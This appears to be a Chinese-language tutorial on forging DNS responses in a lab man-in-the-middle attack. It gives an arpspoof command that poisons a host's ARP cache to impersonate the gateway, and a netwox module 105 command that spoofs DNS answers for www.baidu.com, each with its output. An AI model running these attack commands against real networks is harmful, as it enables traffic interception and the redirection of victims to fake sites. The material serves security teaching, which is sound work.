如何伪造DNS响应?

在中间人攻击中,当用户访问特定的网站,可以通过伪造 DNS 响应,将用户引导到一个虚假的网站。netwox 工具提供的编号为 105 的模块,可以用来伪造 DNS 响应包。

【实例】已知主机 A 的 IP 地址为 192.168.59.133,主机 B 的 IP 地址为 192.168.59.135。下面介绍主机 A 对主机 B 实施 ARP 攻击,在主机 A 上监听主机 B 的 DNS 请求,并伪造 DNS 响应。

1) 主机 A 对主机 B 实施 ARP 攻击,执行命令如下:

root@daxueba:~# arpspoof -i eth0 -t 192.168.59.135 192.168.59.2

该命令表示对主机 B 实施 ARP 攻击,伪造的是网关 192.168.59.2。执行命令后输出信息如下:

0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
···    #省略其他信息

上述输出信息表示成功发起了 ARP 攻击,使主机 B 认为网关 192.168.59.2 的 MAC 地址为 00:0c:29:fd:de:b8(实施攻击的主机 A 的 MAC 地址)。

2) 在主机 A 上监听主机 B 的 DNS 请求包,并伪造 DNS 响应,使其返回指定的 DNS 响应。

例如,设置 DNS 响应包域名 www.baidu.con (http://www.baidu.con) 对应的 IP 地址为 101.102.103.104,权威名称服务器 123.baidu.com 对应的 IP 地址为 55.66.77.88。执行命令如下:

root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88

执行命令后,没有输出信息。因为主机 B 没有产生 DNS 请求。

3) 当主机 B 上产生了 DNS 请求,该请求将会被主机 A 监听到,并返回设置的 DNS 响应包的信息。

例如,当主机 B 访问 www.baidu.con (http://www.baidu.con),主机 A 监听并返回的 DNS 响应如下:
root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88
DNS_question_______________________________________________.      #DNS请求
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=0               |
| www.baidu.com. A                                                    |
|__________________________________________________________           |
DNS_answer________________________________________________.      #DNS响应
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1               |
| www.baidu.com. A                                                    |
| www.baidu.com. A 10 101.102.103.104                                 |
| 123.baidu.com. NS 10 123.baidu.com.                                 |
| 123.baidu.com. A 10 55.66.77.88                                     |
|__________________________________________________________           |
其中,DNS_question 部分为监听到的主机 B 发送的 www.baidu.com (http://www.baidu.com) 的 DNS 请求包信息,DNS_answer 部分为主机 A 伪造的 DNS 响应信息,成功返给了主机 B。

相关文章

随着云计算和网络技术的发展,越来越多的数据需要在服务器之...
阿里云服务器Tomcat无法从外部访问一、环境阿里云Ubuntu 12....
购买一系列的东西其实就是花钱买块区域,服务器,域名,云解...
前言昨天买了域名,服务器,然后搭建了环境,然后想他通过默...
前言由于服务器centos6.8安装mysql一直出现不能连接问题,然后...
前言用 SSH客户端登录上以后,自己想要在本地连接服务器上的...